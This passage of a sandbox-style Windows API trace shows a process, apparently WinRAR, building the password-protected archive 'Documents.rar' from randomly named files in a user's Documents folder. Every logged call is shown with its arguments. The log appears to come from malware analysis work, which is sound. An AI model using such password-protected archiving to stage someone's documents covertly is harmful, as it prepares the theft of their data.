SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.995] ResetEvent (hEvent=0x33c) returned 1 [0082.995] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.997] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0082.997] ResetEvent (hEvent=0x33c) returned 1 [0082.997] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.998] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0082.998] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0082.998] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.998] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5e0*=0) returned 0x185387 [0082.998] SetFilePointer (in: hFile=0x32c, lDistanceToMove=178, lpDistanceToMoveHigh=0x141a0dd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5b0*=0) returned 0x185439 [0082.998] CryptUnprotectMemory (in: pDataIn=0x141a0dd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd460) returned 1 [0082.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0082.998] CryptUnprotectMemory (in: pDataIn=0x141a0dce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dce40) returned 1 [0082.998] CryptUnprotectMemory (in: pDataIn=0x141a0dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dcf40) returned 1 [0082.999] CryptUnprotectMemory (in: pDataIn=0x141a0dd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd0c0) returned 1 [0082.999] WriteFile (in: hFile=0x32c, lpBuffer=0x1163023fb20*, nNumberOfBytesToWrite=0xd190, lpNumberOfBytesWritten=0x141a0dd5e0, lpOverlapped=0x0 | out: lpBuffer=0x1163023fb20*, lpNumberOfBytesWritten=0x141a0dd5e0*=0xd190, lpOverlapped=0x0) returned 1 [0082.999] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0082.999] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.000] SetFilePointer (in: hFile=0x32c, lDistanceToMove=1594247, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x185387 [0083.000] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9c80*=0) returned 0x185387 [0083.000] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079e90 [0083.000] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079a10 [0083.000] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079a10, Size=0x48) returned 0x1162e888ea0 [0083.000] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86dcf0 [0083.000] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079f20 [0083.000] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079f20, Size=0x48) returned 0x1162e888ef0 [0083.000] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86dcf0 | out: hHeap=0x1162e7c0000) returned 1 [0083.000] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0083.000] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079f20 [0083.000] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079f80 [0083.000] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079f80 | out: hHeap=0x1162e7c0000) returned 1 [0083.000] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079f20 | out: hHeap=0x1162e7c0000) returned 1 [0083.000] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079e90, Size=0x78) returned 0x1162e875840 [0083.000] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e875840, Size=0xb6) returned 0x1162e7f61c0 [0083.000] WriteFile (in: hFile=0x32c, lpBuffer=0x1162e7f61c2*, nNumberOfBytesToWrite=0xb2, lpNumberOfBytesWritten=0x141a0d82c0, lpOverlapped=0x0 | out: lpBuffer=0x1162e7f61c2*, lpNumberOfBytesWritten=0x141a0d82c0*=0xb2, lpOverlapped=0x0) returned 1 [0083.000] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163207a0a0 [0083.000] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0xb2) returned 0x1162e7f6580 [0083.000] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ef0 | out: hHeap=0x1162e7c0000) returned 1 [0083.000] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e7f61c0 | out: hHeap=0x1162e7c0000) returned 1 [0083.000] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x1925c9 [0083.000] CloseHandle (hObject=0x350) returned 1 [0083.000] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0083.000] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.000] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0083.000] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.000] FindFirstFileW (in: lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\NHc9hBVFvdQ5Z\\K qThybav\\L_jtuZX b2fVSoNPf.docx", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d820 [0083.001] FindClose (in: hFindFile=0x1163204d820 | out: hFindFile=0x1163204d820) returned 1 [0083.001] CreateFileW (lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\NHc9hBVFvdQ5Z\\K qThybav\\L_jtuZX b2fVSoNPf.docx" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\escikz2yiwadp58m1by\\nhc9hbvfvdq5z\\k qthybav\\l_jtuzx b2fvsonpf.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0083.001] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764f630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0083.001] GetTickCount () returned 0x2a8d8 [0083.001] GetLastError () returned 0x0 [0083.001] SetLastError (dwErrCode=0x0) [0083.001] GetDlgItem (hDlg=0x102f8, nIDDlgItem=158) returned 0x10304 [0083.001] GetDlgItem (hDlg=0x102f8, nIDDlgItem=153) returned 0x10302 [0083.001] GetWindowTextW (in: hWnd=0x10302, lpString=0x141a0dbf90, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0083.001] SetWindowTextW (hWnd=0x10302, lpString=" 0%") returned 1 [0083.002] SendMessageW (hWnd=0x10304, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x64 [0083.002] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0083.002] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0083.002] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0083.002] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0083.002] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="l 4nHi8sklRbErgBL.pps") returned 21 [0083.002] SetWindowTextW (hWnd=0x10300, lpString="L_jtuZX b2fVSoNPf.docx") returned 1 [0083.003] GetTickCount () returned 0x2a8d8 [0083.003] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0083.003] CryptAcquireContextW (in: phProv=0x141a0dd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x141a0dd850*=0x116320a74a0) returned 1 [0083.003] CryptGenRandom (in: hProv=0x116320a74a0, dwLen=0x10, pbBuffer=0x141a0dd8d0 | out: pbBuffer=0x141a0dd8d0) returned 1 [0083.003] CryptReleaseContext (hProv=0x116320a74a0, dwFlags=0x0) returned 1 [0083.003] GetSystemTime (in: lpSystemTime=0x141a0dd7e8 | out: lpSystemTime=0x141a0dd7e8*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xe, wSecond=0x0, wMilliseconds=0x1eb)) [0083.003] SystemTimeToFileTime (in: lpSystemTime=0x141a0dd7e8, lpFileTime=0x141a0dd7e0 | out: lpFileTime=0x141a0dd7e0) returned 1 [0083.003] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd810 | out: lpPerformanceCount=0x141a0dd810*=17433202104) returned 1 [0083.003] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e040*, lpNumberOfBytesRead=0x141a0dd8f0*=0x18843, lpOverlapped=0x0) returned 1 [0083.004] ReadFile (in: hFile=0x350, lpBuffer=0x11631ba6883, nNumberOfBytesToRead=0xe77bd, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631ba6883*, lpNumberOfBytesRead=0x141a0dd8f0*=0x0, lpOverlapped=0x0) returned 1 [0083.004] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0083.004] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.004] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079f80 [0083.004] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163207a070 [0083.004] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163207a070, Size=0x48) returned 0x1162e888810 [0083.004] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d570 [0083.005] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079950 [0083.005] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079950, Size=0x48) returned 0x1162e888950 [0083.005] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d570 | out: hHeap=0x1162e7c0000) returned 1 [0083.005] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888810 | out: hHeap=0x1162e7c0000) returned 1 [0083.005] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079e90 [0083.005] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079b90 [0083.005] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079b90 | out: hHeap=0x1162e7c0000) returned 1 [0083.005] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079e90 | out: hHeap=0x1162e7c0000) returned 1 [0083.005] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079f80, Size=0x79) returned 0x1163205dcd0 [0083.005] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163205dcd0, Size=0xb7) returned 0x1162e7f67c0 [0083.005] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888950 | out: hHeap=0x1162e7c0000) returned 1 [0083.005] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e7f67c0 | out: hHeap=0x1162e7c0000) returned 1 [0083.006] GetTickCount () returned 0x2a8d8 [0083.006] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd730 | out: lpPerformanceCount=0x141a0dd730*=17433503087) returned 1 [0083.006] GetTickCount () returned 0x2a8d8 [0083.006] GetTickCount () returned 0x2a8d8 [0083.006] GetTickCount () returned 0x2a8d8 [0083.007] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0083.007] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0083.007] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.007] ResetEvent (hEvent=0x344) returned 1 [0083.007] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.009] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0083.009] ResetEvent (hEvent=0x344) returned 1 [0083.009] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.013] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0083.013] ResetEvent (hEvent=0x344) returned 1 [0083.013] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.016] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0083.016] GetTickCount () returned 0x2a8e8 [0083.016] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17434478550) returned 1 [0083.016] GetTickCount () returned 0x2a8e8 [0083.016] GetLastError () returned 0x0 [0083.016] SetLastError (dwErrCode=0x0) [0083.016] GetDlgItem (hDlg=0x102f8, nIDDlgItem=154) returned 0x1030a [0083.016] GetWindowTextW (in: hWnd=0x1030a, lpString=0x141a0dc2e0, nMaxCount=2560 | out: lpString="00:00:01") returned 8 [0083.016] SetWindowTextW (hWnd=0x1030a, lpString="00:00:02") returned 1 [0083.017] GetTickCount () returned 0x2a8e8 [0083.017] GetDlgItem (hDlg=0x102f8, nIDDlgItem=162) returned 0x1030c [0083.017] ShowWindow (hWnd=0x1030c, nCmdShow=9) returned 0 [0083.018] GetDlgItem (hDlg=0x102f8, nIDDlgItem=151) returned 0x1030e [0083.018] ShowWindow (hWnd=0x1030e, nCmdShow=9) returned 0 [0083.019] GetLastError () returned 0x0 [0083.019] SetLastError (dwErrCode=0x0) [0083.019] GetDlgItem (hDlg=0x102f8, nIDDlgItem=151) returned 0x1030e [0083.019] GetWindowTextW (in: hWnd=0x1030e, lpString=0x141a0dc2e0, nMaxCount=2560 | out: lpString="") returned 0 [0083.019] SetWindowTextW (hWnd=0x1030e, lpString="00:00:01") returned 1 [0083.020] GetTickCount () returned 0x2a8e8 [0083.020] CoCreateInstance (in: rclsid=0x7ff6f75ef5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff6f75ecc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0x141a0dd2b8 | out: ppv=0x141a0dd2b8*=0x11632079e90) returned 0x0 [0083.020] TaskbarList:ITaskbarList3:SetProgressState (This=0x11632079e90, hwnd=0x102f8, tbpFlags=2) returned 0x0 [0083.020] TaskbarList:ITaskbarList3:SetProgressValue (This=0x11632079e90, hwnd=0x102f8, ullCompleted=0x1ab9db, ullTotal=0x31d668) returned 0x0 [0083.021] TaskbarList:IUnknown:Release (This=0x11632079e90) returned 0x0 [0083.021] GetLastError () returned 0x36b7 [0083.021] SetLastError (dwErrCode=0x36b7) [0083.021] GetDlgItem (hDlg=0x102f8, nIDDlgItem=157) returned 0x1031a [0083.021] GetDlgItem (hDlg=0x102f8, nIDDlgItem=152) returned 0x10318 [0083.021] GetWindowTextW (in: hWnd=0x10318, lpString=0x141a0dbe80, nMaxCount=2560 | out: lpString=" 35%") returned 5 [0083.021] SetWindowTextW (hWnd=0x10318, lpString=" 53%") returned 1 [0083.021] GetLastError () returned 0x0 [0083.021] SetLastError (dwErrCode=0x0) [0083.021] GetDlgItem (hDlg=0x102f8, nIDDlgItem=164) returned 0x10314 [0083.021] GetWindowTextW (in: hWnd=0x10314, lpString=0x141a0dbe80, nMaxCount=2560 | out: lpString=" 92%") returned 5 [0083.021] SetWindowTextW (hWnd=0x10314, lpString=" 93%") returned 1 [0083.022] SendMessageW (hWnd=0x1031a, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x23 [0083.022] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 1 [0083.022] GetMessageW (in: lpMsg=0x141a0dd760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd760) returned 1 [0083.022] GetFocus () returned 0x1031c [0083.022] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd760) returned 1 [0083.022] GetPropW (hWnd=0x102f8, lpString="Done") returned 0x0 [0083.022] BeginPaint (in: hWnd=0x102f8, lpPaint=0x141a0db9d0 | out: lpPaint=0x141a0db9d0) returned 0xa010835 [0083.022] GetLastError () returned 0x2 [0083.022] SetLastError (dwErrCode=0x2) [0083.022] GetDlgItem (hDlg=0x102f8, nIDDlgItem=158) returned 0x10304 [0083.022] GetDlgItem (hDlg=0x102f8, nIDDlgItem=153) returned 0x10302 [0083.022] GetWindowTextW (in: hWnd=0x10302, lpString=0x141a0d9c60, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0083.022] SendMessageW (hWnd=0x10304, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x0 [0083.023] CoCreateInstance (in: rclsid=0x7ff6f75ef5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff6f75ecc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0x141a0db098 | out: ppv=0x141a0db098*=0x11632079a10) returned 0x0 [0083.023] TaskbarList:ITaskbarList3:SetProgressState (This=0x11632079a10, hwnd=0x102f8, tbpFlags=2) returned 0x0 [0083.024] TaskbarList:ITaskbarList3:SetProgressValue (This=0x11632079a10, hwnd=0x102f8, ullCompleted=0x1ab9db, ullTotal=0x31d668) returned 0x0 [0083.024] TaskbarList:IUnknown:Release (This=0x11632079a10) returned 0x0 [0083.024] GetLastError () returned 0x36b7 [0083.024] SetLastError (dwErrCode=0x36b7) [0083.025] GetDlgItem (hDlg=0x102f8, nIDDlgItem=157) returned 0x1031a [0083.025] GetDlgItem (hDlg=0x102f8, nIDDlgItem=152) returned 0x10318 [0083.025] GetWindowTextW (in: hWnd=0x10318, lpString=0x141a0d9c60, nMaxCount=2560 | out: lpString=" 53%") returned 5 [0083.025] GetLastError () returned 0x36b7 [0083.025] SetLastError (dwErrCode=0x36b7) [0083.025] GetDlgItem (hDlg=0x102f8, nIDDlgItem=164) returned 0x10314 [0083.025] GetWindowTextW (in: hWnd=0x10314, lpString=0x141a0d9c60, nMaxCount=2560 | out: lpString=" 93%") returned 5 [0083.025] SendMessageW (hWnd=0x1031a, Msg=0x402, wParam=0x35, lParam=0x0) returned 0x35 [0083.026] EndPaint (hWnd=0x102f8, lpPaint=0x141a0db9d0) returned 1 [0083.026] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 1 [0083.026] GetMessageW (in: lpMsg=0x141a0dd760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd760) returned 1 [0083.026] GetFocus () returned 0x1031c [0083.026] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd760) returned 1 [0083.031] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.031] ResetEvent (hEvent=0x33c) returned 1 [0083.031] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.032] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0083.032] ResetEvent (hEvent=0x33c) returned 1 [0083.032] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.033] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0083.033] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 1 [0083.033] GetMessageW (in: lpMsg=0x141a0dd4e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd4e0) returned 1 [0083.033] GetFocus () returned 0x1031c [0083.034] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd4e0) returned 1 [0083.034] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.034] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5e0*=0) returned 0x1925c9 [0083.034] SetFilePointer (in: hFile=0x32c, lDistanceToMove=179, lpDistanceToMoveHigh=0x141a0dd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5b0*=0) returned 0x19267c [0083.034] CryptUnprotectMemory (in: pDataIn=0x141a0dd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd460) returned 1 [0083.034] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0083.034] CryptUnprotectMemory (in: pDataIn=0x141a0dce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dce40) returned 1 [0083.035] CryptUnprotectMemory (in: pDataIn=0x141a0dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dcf40) returned 1 [0083.035] CryptUnprotectMemory (in: pDataIn=0x141a0dd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd0c0) returned 1 [0083.035] WriteFile (in: hFile=0x32c, lpBuffer=0x1163023fb20*, nNumberOfBytesToWrite=0x18930, lpNumberOfBytesWritten=0x141a0dd5e0, lpOverlapped=0x0 | out: lpBuffer=0x1163023fb20*, lpNumberOfBytesWritten=0x141a0dd5e0*=0x18930, lpOverlapped=0x0) returned 1 [0083.036] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 1 [0083.036] GetMessageW (in: lpMsg=0x141a0dd4e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd4e0) returned 1 [0083.036] GetFocus () returned 0x1031c [0083.036] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd4e0) returned 1 [0083.037] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.037] SetFilePointer (in: hFile=0x32c, lDistanceToMove=1648073, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x1925c9 [0083.037] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9c80*=0) returned 0x1925c9 [0083.037] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x116320799b0 [0083.037] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079b90 [0083.037] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079b90, Size=0x48) returned 0x1162e8886d0 [0083.037] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86dc30 [0083.037] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079e90 [0083.037] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079e90, Size=0x48) returned 0x1162e888ea0 [0083.037] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86dc30 | out: hHeap=0x1162e7c0000) returned 1 [0083.037] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e8886d0 | out: hHeap=0x1162e7c0000) returned 1 [0083.037] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079fb0 [0083.037] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079e90 [0083.037] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079e90 | out: hHeap=0x1162e7c0000) returned 1 [0083.037] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079fb0 | out: hHeap=0x1162e7c0000) returned 1 [0083.037] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x116320799b0, Size=0x79) returned 0x1163205cbf0 [0083.037] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163205cbf0, Size=0xb7) returned 0x1162e7f5b00 [0083.037] WriteFile (in: hFile=0x32c, lpBuffer=0x1162e7f5b02*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x141a0d82c0, lpOverlapped=0x0 | out: lpBuffer=0x1162e7f5b02*, lpNumberOfBytesWritten=0x141a0d82c0*=0xb3, lpOverlapped=0x0) returned 1 [0083.038] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079e90 [0083.038] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0xb3) returned 0x1162e7f58c0 [0083.038] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0083.038] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e7f5b00 | out: hHeap=0x1162e7c0000) returned 